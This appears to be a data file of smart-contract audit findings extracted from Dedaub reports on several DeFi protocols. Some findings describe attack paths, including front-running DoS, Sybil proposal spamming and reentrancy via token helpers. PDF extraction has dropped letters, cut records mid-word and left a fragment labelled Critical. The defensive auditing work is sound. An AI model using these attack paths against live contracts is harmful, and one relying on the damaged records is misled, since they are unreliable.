"https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "code In BorrowerOperations: function _requireNonZeroAdjustment( uint256 _collWithdrawal, uint256 _debtTokenChange, uint256 _assetSent ) internal view { require( INFO msg.value != 0 || _collWithdrawal != 0 || _debtTokenChange != 0 || 1 _assetSent != 0, \"BorrowerOps: There must be either a collateral change or a debt // Dedaub: `msg.value != 0` not possible change\" ); } the condition msg.value != 0 is not possible, as ensured in the single place where this function is called (_adjustVessel). The condition should be kept if the function is to be usable elsewhere in the future. Similarly, in VesselManager, the condition marked with a comment below seems unnecessary, given that the arithmetic is compiler-checked. function decreaseVesselDebt( address _asset, address _borrower, uint256 _debtDecrease ) external override onlyBorrowerOperations returns (uint256) { uint256 oldDebt = Vessels[_borrower][_asset].debt; if (_debtDecrease == 0) { return oldDebt; // no changes } uint256 paybackFraction = (_debtDecrease * 1 ether) / oldDebt; uint256 newDebt = oldDebt - _debtDecrease; Vessels[_borrower][_asset].debt = newDebt; if (paybackFraction > 0) { if (paybackFraction > 1 ether) { // Dedaub:Impossible. The \"-\" would have reverted, three lines above paybackFraction = 1 ether; } feeCollector.decreaseDebt(_borrower, _asset, paybackFraction); } return newDebt; } 1", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "ownable policy INFO Some contracts are dened to be Ownable (using the OZ libraries), yet do not use this capability (beyond initialization). These include: StabilityPool initializes Ownable, relinquishes ownership, but never checks ownership in setAddresses, or elsewhere. function setAddresses( address _borrowerOperationsAddress, address _vesselManagerAddress, address _activePoolAddress, address _debtTokenAddress, address _sortedVesselsAddress, address _communityIssuanceAddress, address _adminContractAddress ) external initializer override { __Ownable_init(); renounceOwnership(); // Dedaub: The function was onlyOwner in Liquity, here there's // no point of Ownable } VesselManagerOperations inherits and initializes ownable functionality but is it used? function setAddresses( address _vesselManagerAddress, address _sortedVesselsAddress, address _stabilityPoolAddress, address _collSurplusPoolAddress, address _debtTokenAddress, address _adminContractAddress ) external initializer { __Ownable_init(); // YS:! why? 2 }", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "explicit check in BorrowerOperations::openVessel that the collateral deposited by the user is approved INFO If a user aempts to open a Vessel with a collateral asset not approved by the owner, the transaction will fail, because there will be no price oracle registered for this asset. Therefore it is checked if the user deposits an approved collateral asset, but only indirectly. It would be beer if there was an explicit check.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "only partially initializes the collateralParams structure INFO We cannot nd a specic problem with the current only partial initialization, since even if the owner just adds a new _collateral and does not set all the elds of collateralParams[_collateral], upon opening a Vessel the protocol sets the default values for these. But, in general it is not a good practice to leave uninitialized variables and it would be beer if in addnewCollateral the owner also set the default values for the remaining collateralParams elements.", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "internal functions INFO In StabilityPool, the following two functions are unused. function _requireUserHasVessel(address _depositor) internal view { address[] memory assets = adminContract.getValidCollateral(); uint256 assetsLen = assets.length; for (uint256 i; i < assetsLen; ++i) { if (vesselManager.getVesselStatus(assets[i], _depositor) == 1) { return; } } revert(\"StabilityPool: caller must have an active vessel to withdraw AssetGain to\"); 2 } function _requireUserHasAssetGain(address _depositor) internal view { (address[] memory assets, uint256[] memory amounts) = getDepositorGains(_depositor); for (uint256 i = 0; i < assets.length; ++i) { if (amounts[i] > 0) { return; } } revert(\"StabilityPool: caller must have non-zero gains\"); }", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "mistakes in names or comments INFO This issue collects several items, all supercial, but easy to x. AdminContract: uint256 public constant PERCENT_DIVISOR_DEFAULT = 100; // dividing by 100 yields 0.5% // Dedaub: No, it yields 1% AdminContract: function setAsDefaultWithRemptionBlock( // Dedaub: spelling AdminContract: struct CollateralParams { } uint256 redemptionBlock; // Dedaub: misnamed, its in seconds (We advise special caution, since the eld is set in two ways, so external callers may be confused by the name and pass a block number, whereas the calculation is in terms of seconds.) StabilityPool: 2 // Internal function, used to calculcate ... PriceFeed: * - If price decreased, the percentage deviation is in relation to the the FeeCollector: function _createFeeRecord( address _borrower, address _asset, uint256 _feeAmount, FeeRecord storage _sRecord ) internal { uint256 from = block.timestamp + MIN_FEE_DAYS * 24 * 60 * 60; // Dedaub: `1 days` is the best way to write this, as done // elsewhere in the code", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "for gas optimization INFO Gas savings were not a focus of the audit, but there are some clear instances of repeat work or missed opportunities for immutable elds. StabilityPool: function receivedERC20(address _asset, uint256 _amount) external override { } totalColl.amounts[collateralIndex] += _amount; uint256 newAssetBalance = totalColl.amounts[collateralIndex]; The two highlighted lines (likely) perform two SLOADs and one SSTORE. Using an intermediate temporary variable for the sum will save an SLOAD. DebtToken: the following variable is only set in constructor, could be declared immutable. address public timelockAddress; 2", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "constants INFO Our recommendation is for all numeric constants to be given a symbolic name at the top of the contract, instead of being interspersed in the code. VesselManagerOperations::getRedemptionHints: collLot = collLot * REDEMPTION_SOFTENING_PARAM / 1000; AdminContract::setAsDefaultWithRedemptionBlock: if (blockInDays > 14) { ... BorrowerOperations::openVessel: contractsCache.vesselManager.setVesselStatus(vars.asset, msg.sender, 1); // Dedaub: 1 stands for \"active, but is obscure", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "inconsistent INFO Contract IDebtToken is not really an interface, since it contains full ER", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "functionality.", "labels": ["Dedaub", "Gravita", "Severity: Critical"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Gravita/Gravita Audit, Apr. 23.pdf", "body": "allowed deviation between two consecutive oracle prices seems to be too high INFO In PriceFeed.sol there is a MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND constant set to 5e17 i.e. 50%. If the percentage deviation of two consecutive Chainlink responses is greater than this constant, the protocol rejects the new price as invalid. But the value of this constant seems to be too high. Moreover, we think it would be beer if the protocol used a dierent MAX_PRICE_DEVIATION_FROM_PREVIOUS_ROUND for each collateral asset considering also the volatility of the asset. A23 Compiler bugs INFO 2 The code has the compile pragma ^0.8.10. For deployment, we recommend no floating pragmas, i.e., a xed version, for predictability. Solc version 0.8.10, specically, has some known bugs, which we do not believe to aect the correctness of the contracts. 2", "labels": ["Dedaub", "Gravita", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Furucombo/Furucombo smart wallet and gelato audit Sep 21.pdf", "body": "use of weak blacklists Furucombo Gelato makes use of a number of blacklists including: - Who can create a new task - What task can be created It is however trivial for any user to get around this blacklisting style. For instance, in the case of a task, one can simply add some additional calldata which does not aect the semantics of the task. Therefore, if there is a reason to blacklist users or tasks, a stronger mechanism needs to be designed. L2 delegateCallOnly methods not properly guarded in Actions CLOSED In TaskExecutor the delegateCallOnly() modier is dened to ensure that the batchExec() method is only called via delegate call, as intended by the deployers. This can be reused by the other Actions as well, to make sure that they are not misused. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend addressing them. ", "labels": ["Dedaub", "Furucombo smart wallet and gelato", "Severity: Low"]}, {"title": "pragma ", "html_url": "https://github.com/dedaub/audits/tree/main/Furucombo/Furucombo smart wallet and gelato audit Sep 21.pdf", "body": " CLOSED The floating pragma pragma solidity ^0.6.0; is used in most contracts, allowing them to be compiled with the 0.6.0 - 0.6.12 versions of the Solidity compiler. Although the dierences between these versions are small, floating pragmas should be avoided and the pragma should be xed to the version that will be used for the contracts deployment. A2 Compiler known issues INFO The contracts were compiled with the Solidity compiler 0.6.12 which, at the time of writing, has multiple issues related to memory arrays. Since furrucombo-smart-wallet makes heavy use of memory arrays, and sending and receiving these to third party contracts, it is worth considering switching to a newer version of the Solidity compiler. 0", "labels": ["Dedaub", "Furucombo smart wallet and gelato", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "may irreversibly delete essential data DISMISSED Oracle::setNodeIDList deletes reportsByEpochId[latestEpochId], i.e., the latest epoch data, as they might no longer be valid due to validators being removed from the list. The latest epoch data is supplied to the Oracle contract via the OracleManager, which calls the function Oracle::receiveFinalizedReport and marks that the report for that epoch has been nalized, meaning that it cannot be resubmied. This information, which might irreversibly get deleted by the Oracle::setNodeIDList, is essential for the ValidatorSelector contract to proceed with the validator selection process. Thus, care should be taken to ensure that Oracle::setNodeIDList isnt called after OracleManager::receiveMemberReport and before ValidatorSelector::getAvailableValidatorsWithCapacity, as such a sequence of calls would leave the system in an invalid state.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "may revert due to array out-of-bounds error in ValidatorSelector::getAvailableValidatorsWithCapacity RESOLVED Function ValidatorSelector::getAvailableValidatorsWithCapacity retrieves the latest epoch validators from the Oracle in the validators array, computes how 0 many of those satisfy the ltering criteria and then creates an array of that size, result, and traverses again the validators array to populate it. function getAvailableValidatorsWithCapacity(uint256 amount) public view returns (Validator[] memory) { Validator[] memory validators = oracle.getLatestValidators(); uint256 count = 0; for (uint256 index = 0; index < validators.length; index++) { // ... (filtering checks on validators[index]) count++; } Validator[] memory result = new Validator[](count); for (uint256 index = 0; index < validators.length; index++) { // ... (filtering checks on validators[index]) // Dedaub: index can get bigger than result.length. // Dedaub: a count variable needs to be used as in the above loop. result[index] = validators[index]; } return result; } However, there is a bug in the implementation that can cause an array out-of-bounds exception at line result[index] = validators[index]. Variable index is in the range [0, validators.length-1], while result.length will be strictly less than validators.length-1 if at least one validator has been ltered out of the initial validators array, thus index might be greater than result.length-1. Consider the scenario where validators = [1, 2] and count (or result.length) is 1 as the validator with id 1 has been ltered out. Then the second loop will traverse the whole validators array and will try to assign the validator with id 2 (array index 1) to result[1] causing an out-of-bounds exception, as result has a length of 1 (can only be assigned to index 0). Using a count variable, similarly to the rst loop, would be enough to solve this issue. 0", "labels": ["Dedaub", "Lido Avalanche", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "due to the ability of a group to conrm any public key RESOLVED A DoS aack could be possible due to the ability of a group to perform conrmations for any given public key. More specically, we think that a group with adversary members can front-run the reportGeneratedKey() using a public key which was requested by another group, via requestKeygen(). By doing so, this public key will be conrmed by and assigned to the adversary group. // MpcManager.sol::reportGeneratedKey:214 if (_generatedKeyConfirmedByAll(groupId, generatedPublicKey)) { info.groupId = groupId; info.confirmed = true; ... } This will DoS the system for the benevolent group which will not be able to perform any further conrmations for this public key. // MpcManager.sol::reportGeneratedKey:208 if (info.confirmed) revert AttemptToReconfirmKey(); The adversary group can then proceed with joining the staking request changing the threshold needed for starting the request (of course in the case where the adversary group has a smaller threshold than the original one). // MpcManager.sol::joinRequest:238 uint256 threshold = _groupThreshold[info.groupId]; However, they dont have to join the request and can leave it pending. Since multiple public keys can be requested for the same group, they can proceed with dierent keys and dierent stake requests if they wish to interact with the contracts benevolently for their own benet. 0 The MpcManager.sol contract has quite a bit of o-chain logic, but we believe that it is valid as an adversary model to assume that groups can not be entirely trusted and that they can act adversely against other benevolent groups. In the opposite scenario, considering all groups as trusted could lead to centralization issues while only the MPC manager can create the groups.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "can be called by a member of RESOLVED any group with any generated public key MpcManager::reportUTXO() does not contain any checks to ensure that the member which calls it is a member of the group that reported and conrmed the provided genPubKey. This means that a member of any group can call this function with any of the generated public keys even if the laer has been conrmed by and assigned to another group. By doing so, a group can run reportUTXO() changing the threshold needed for the report to be exported. It is not clear from the specication if allowing any member to call this function with any public key is the desired behaviour or if further checks should be applied.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Medium"]}, {"title": "number of remaining TODO items suggest certain functionality is not implemented RESOLVED There are a number of TODO items that spread across the entire codebase and test suite. Most of these TODOs are trivial and the test suite appears to be well developed. However, there is a small number of TODOs that concern checks and invariants and also unimplemented functionality like supporting more types of validator requests. This could mean that further development is needed, which could render the current security assessment partially insuicient. 010 LOW SEVERITY: ID Descriptio ", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "number of remaining TODO items suggest certain functionality is not implemented RESOLVED There are a number of TODO items that spread across the entire codebase and test suite. Most of these TODOs are trivial and the test suite appears to be well developed. However, there is a small number of TODOs that concern checks and invariants and also unimplemented functionality like supporting more types of validator requests. This could mean that further development is needed, which could render the current security assessment partially insuicient. 010 LOW SEVERITY: ID Descriptio ", "labels": ["Dedaub", "Lido Avalanche", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "claim of AVAX might result in rounding errors RESOLVED According to a note in the AvaLido::claim function, the protocol allows partial claims of unstake requests so that users don't need to wait for the entire request to be lled to get some liquidity. This is one of the reasons the exchange rate stAVAX:AVAX is set in function requestWithdrawal instead of in claim. The partial claim logic is implemented mainly in the following line: uint256 amountOfStAVAXToBurn = Math.mulDiv(request.stAVAXLocked, amount, request.amountRequested); The amount of stAVAX that are traded back, request.stAVAXLocked, is multiplied by the amount of AVAX claimed, amount, and the result is divided by the whole AVAX amount corresponding to the request, request.amountRequested to give us the corresponding amount of stAVAX that should be burned. This computation might suer from rounding errors depending on the amount parameter, leading to a small amount of stAVAX not being burned. We believe that these amounts would be too small to really aect the exchange rate of stAVAX:AVAX, still it would make sense to verify this or get rid of the rounding error altogether.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "might fail due to uninitialized variable RESOLVED Function Treasury::claim could be called while the avaLidoAddress storage variable might not have been set via the setAvaLidoAddress, leading to the transaction reverting due to msg.sender not being equal to address(0). This outcome can of course be considered desirable, but at the same time, the needed call to setAvaLidoAddresss adds unnecessary complexity. Currently, the setAvaLidoAddress function works practically as an initializer, as it cannot set the 01 avaLidoAddress storage variable more than once. If that is the intent, avaLidoAddress could be set in the initialize function, which would reduce the chances of claim and successively of AvaLido::claimUnstakedPrincipals and AvaLido::claimRewards calls reverting. L3 AvaLido::deposit check considers deposited amount twice RESOLVED The function AvaLido::deposit implements the following check: if (protocolControlledAVAX() + amount > maxProtocolControlledAVAX) revert ProtocolStakedAmountTooLarge(); However, the check should be changed to: if (protocolControlledAVAX() > maxProtocolControlledAVAX) revert ProtocolStakedAmountTooLarge(); as the function protocolControlledAVAX() uses address(this).balance, meaning that amount, which is equal to the msg.value, has already been taken into account once and if added to the value returned by protocolControlledAVAX(), it would be counted twice. Nevertheless, we expect that both conditions would never be satised as maxProtocolControlledAVAX is by default set to type(uint256).max. Still, we would advise addressing the issue just in case maxProtocolControlledAVAX is changed in the future. 01 CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) The protocol denes several admin/manager roles that serve to give access to specic functions of certain contracts only to the appropriate entities. The following roles are dened and used: DEFAULT_ADMIN_ROLE ROLE_PAUSE_MANAGER ROLE_FEE_MANAGER ROLE_ORACLE_ADMIN ROLE_VALIDATOR_MANAGER ROLE_MPC_MANAGER ROLE_TREASURY_MANAGER ROLE_PROTOCOL_MANAGER For example, the entity that is assigned the ROLE_MPC_MANAGER is able to call functions MpcManager::createGroup and MpcManager::requestKeygen that are essential for the correct functioning of the MPC component. Multiple roles allow for the distribution of power so that if one entity gets hacked all other functions of the protocol remain unaected. Of course, this assumes that the protocol team distributes the dierent roles to separate entities thoughtfully and does not completely alleviate centralization issues. The contract MpcManager.sol appears to build on/depend on a lot of o-chain logic that could make it suer from centralization issues as well. A possible aack scenario is described in issue M3 above that raises the question of credibility for the MPC groups even though they can only be created by the MPC manager. 01 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", "labels": ["Dedaub", "Lido Avalanche", "Severity: Low"]}, {"title": "array of public keys provided to MpcManager::createGroup needs to be sorted ", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": " RESOLVED The array of public keys provided to MpcManager::createGroup by the MPC manager needs to be sorted otherwise the groupId produced by the keccak256 of the array might be dierent for the same sets of public keys. As sorting is tricky to perform on-chain and has not been implemented in this instance, the contracts API or documentation should make it clear that the array provided needs to be already sorted.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "in AvaLido::llUnstakeRequests is always true RESOLVED The following check in AvaLido::fillUnstakeRequests is expected to be always true, since the isFilled check right before guarantees that the request is not lled. if (isFilled(unstakeRequests[i])) { // This shouldn't happen, but revert if it does for clearer testing revert(\"Invalid state - filled request in queue\"); } // Dedaub: the following is expected to be always true if (unstakeRequests[i].amountFilled < unstakeRequests[i].amountRequested) { ... } 01", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "responsible for seing/updating numeric protocol parameters could dene bounds on these values INFO Functions like AvaLido::setStakePeriod and AvaLido::setMinStakeAmount could set lower and/or upper bounds for the accepted values. Such a change might require more initial thought but could protect against accidental mistakes when seing these parameters.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "might revert with ClaimTooLarge error INFO The function AvaLido::claim checks that the amount requested, amount, is not greater than request.amountFilled - request.amountClaimed. The user experience could be improved if in such cases instead of reverting the claimed amount was set to request.amountFilled - request.amountClaimed, i.e., the maximum amount that can be claimed at the moment. Such a change would require the claim function to return the claimed amount.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "storage variables RESOLVED There are a few storage variables that are not used: ValidatorSelector::minimumRequiredStakeTimeRemaining AvaLido::mpcManagerAddress", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "UnstakeRequest struct eld RESOLVED Field requestedAt of struct UnstakeRequest is not used.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "can be made external RESOLVED OracleManager::getWhitelistedOracles can be dened as external instead of public, as it is not called from any code inside the OracleManager contract.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "optimization RESOLVED 01 In function AvaLido::claimUnstakedPrincipals there is a conditional check that if true leads to the transaction reverting with InvalidStakeAmount(). function claimUnstakedPrincipals() external { uint256 val = address(pricipalTreasury).balance; if (val == 0) return; pricipalTreasury.claim(val); // Dedaub: the next line can be moved before the claim if (amountStakedAVAX == 0 || amountStakedAVAX < val) revert InvalidStakeAmount(); // (rest of the functions logic) } This check could be moved before the principalTreasury.claim(val) as it is not aected by the call. This would lead to gas savings in cases where the transaction reverts, as the unnecessary call to treasury would be skipped.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "contradicts with ValidatorSelector::minimumRequiredStakeTimeRemaining RESOLVED Even though ValidatorSelector::minimumRequiredStakeTimeRemaining is not used, it is dened as 15 days, while AvaLido::stakePeriod is dened as 14 days.", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Lido/Lido Avalanche Audit - July 22.pdf", "body": "spelt function name RESOLVED Function name hasAcceptibleUptime of the Types.sol contract should be corrected to hasAcceptableUptime. A11 Compiler bugs INFO The code is compiled with Solidity 0.8.10, which, at the time of writing, has some known bugs, which we do not believe to aect the correctness of the contracts. 01", "labels": ["Dedaub", "Lido Avalanche", "Severity: Informational"]}, {"title": "code ", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": " RESOLVED In UniswapLib.sol, the struct Slot0 denition is not being used. It is recommended that it be removed as it is dead code.", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "simplication RESOLVED In UniswapConfig.sol, all getTokenConfigBy* functions have a check that the index is not type(uint).max, however this is redundant as getTokenConfig already covers this case by checking that index < numTokens. For example: function getTokenConfigBySymbolHash(bytes32 symbolHash) public view returns (TokenConfig memory) { uint index = getSymbolHashIndex(symbolHash); // Dedaub: Redundant check; getTokenConfig checks that index < numTokens. That check covers the case where index == type(uint).max // if (index != type(uint).max) { return getTokenConfig(index); } revert(\"token config not found\"); } Can be simplied to: function getTokenConfigBySymbolHash(bytes32 symbolHash) public view returns (TokenConfig memory) { uint index = getSymbolHashIndex(symbolHash) return getTokenConfig(index); }", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "trailing modier parentheses DISMISSED There are a couple of instances where even zero-argument modiers are used with parentheses, even though they can be omied. For example, in UniswapAnchoredView::activateFailover: function activateFailover(bytes32 symbolHash) external onlyOwner() { ... } This paern can be found in: UniswapAnchoredView::activateFailover UniswapAnchoredView::deactivateFailover Ownable::transferOwnership", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "sanity check for xed price assets RESOLVED In the UniswapAnchoredView constructor, xed price assets (either ETH or USD pegged) check that the provided uniswap market is zero, however the reporter eld is unchecked. It is recommended that the reporter be also required to be zero, for consistency: else { require(uniswapMarket == address(0), \"only reported prices utilize an anchor\"); // Dedaub: Check that reporter is also 0 require(config.reporter == address(0), \"only reported prices utilize a reporter\"); }", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "functionality is cryptic (fetchAnchorPrice) RESOLVED The correctness of the calculation in UniswapAnchoredView::fetchAnchorPrice is very hard to establish. More comments would help. Specically, the code reads function fetchAnchorPrice(TokenConfig memory config, uint conversionFactor) internal virtual view returns (uint) { uint256 twap = getUniswapTwap(config); uint rawUniswapPriceMantissa = twap; uint unscaledPriceMantissa = rawUniswapPriceMantissa * conversionFactor; uint anchorPrice = unscaledPriceMantissa * config.baseUnit / ethBaseUnit / expScale; return anchorPrice; } The correctness of this calculation depends on the following understanding, which should be documented in code comments, or the functionality is entirely cryptic. (We note that the original UAV code had similar comments, although the ones below are our own.) getUniswapTwap returns the price between the baseUnits of the two tokens in a pair, scaled to e18 rawUniswapPriceMantissa * config.baseUnit : price of 1 token (instead of one baseUnit of token), relative to baseUnit of the other token. Still scaled at e18 unscaledPriceMantissa * config.baseUnit / expScale : (mathematically, not in integer arithmetic) price of 1 token relative to baseUnit of the other, scaled at 1 unscaledPriceMantissa * conversionFactor * config.baseUnit / ethBaseUnit / expScale : in the case of ETH-USDC, conversionFactor is ethBaseUnit, and the above happens to return 1 ETH's price in USDC with 6 decimals of precision, just because the USDC unit has 6 decimals in the case of other tokens, the conversionFactor is the 6-decimal ETH-USDC price, hence the result is the price of 1 token relative to 1 ETH, at 6-decimal precision.", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "warning RESOLVED The Solidity compiler is issuing a warning for the UniswapAnchoredView::priceInternal function, that the return variable may be unassigned. While this is a false warning, it can be easily suppressed with a simple refactoring of the form: function priceInternal(TokenConfig memory config) internal view returns (uint) if (config.priceSource == PriceSource.REPORTER) return prices[config.symbolHash].price else if (config.priceSource == PriceSource.FIXED_USD) return config.fixedPrice; else { uint usdPerEth = prices[ethHash].price; require(usdPerEth > 0, \"ETH price not set, cannot convert to dollars\"); return usdPerEth * config.fixedPrice / ethBaseUnit; } }", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "code (UniswapConfig::getTokenConfig) RESOLVED The expression: ((isUniswapReversed >> i) & uint256(1)) == 1 ? true : false can be shortened to the more elegant: ((isUniswapReversed >> i) & uint256(1)) == 1", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Chainlink/Chainlink Uniswap Anchored View.pdf", "body": "pragma RESOLVED The floating pragma pragma solidity ^0.8.7; is used in most contracts, allowing them to be compiled with any version of the Solidity compiler v0.8.* after, and including, v0.8.7. Although the dierences between these versions are small, floating pragmas should be avoided and the pragma should be xed to the version that will be used for the contract deployment (Solidity version 0.8.7 at the audit commit hash). A9 Compiler known issues INFO The contracts were compiled with the Solidity compiler v0.8.7 which, at the time of writing, have some known bugs. We inspected the bugs listed for version 0.8.7 and concluded that the subject code is unaected", "labels": ["Dedaub", "Chainlink Uniswap Anchored View", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "math operations Status Resolved 4 In contract vArmor.sol functions vArmorToArmor() and armorToVArmor() perform numerical operations without checking for overow. In vArmorToArmor() overow of multiplication is not checked: function vArmorToArmor(uint256 _varmor) public view returns(uint256) { if(totalSupply() == 0){ return 0; } return _varmor * armor.balanceOf(address(this)) / totalSupply(); } Similar for armorToVArmor(). These functions are called during deposit and withdraw for calculating token amounts to be transferred, so erroneous results will have a signicant impact on the correctness of the protocol. M2 DoS by proposing proposals that need to be voted out quickly Open Any governance token holder can DoS their peers by proposing many unfavorable proposals, which need to be voted out. Voting proposals out will incur more gas fees as these are subject to a deadline (and may be voted down by multiple participants) whereas a proposer can also wait for the optimal time to spend gas. Low Severity ", "labels": ["Dedaub", "Armor Governance", "Severity: Medium"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "and gov privileged users not checked for address zero Status Open In Timelock.sol the addresses of gov and admin are set during the construction of the contract. Requirements for checking non-zero addresses is suggested.", "labels": ["Dedaub", "Armor Governance", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "introduce opportunities for reentrancy during swaps Open 5 In vArmor.sol, governance through a simple proposal can add tokenHelpers that are executed whenever a token transfer takes place. Token transfers also take place during swaps or other activities like deposits or withdrawals. The opportunity for reentrancy may not be immediately visible but if this were to be possible, consequences may include the draining of LP pool funds. L3 Proposer can propose multiple proposals (Sybil attack) Open A proposal can propose multiple proposals at the same time, defeating checks to disallow this: 1) Deposit enough $armor in the vArmor pool 2) Propose a proposal 3) Withdraw $armor from vArmor pool 4) Transfer $armor to a different address 5) Repeat The protocol offers the function cancel(uint proposalId) public to mitigate this attack, which proceeds in canceling a proposal if the proposers votes have fallen below the required threshold. However, this requires some users or the mutlisig to constantly be in a state of readiness. Other/Advisory Issues This section details issues that are not thought to directly affect the functionality of the project, but we recommend addressing. ", "labels": ["Dedaub", "Armor Governance", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "type declarations Status Open In contract ArmorGovernor.sol the parameters of several functions are declared as uint256, whereas most numerical variables are declared as uint. We suggest that a single style of declaration is used for clarity and consistency.", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": 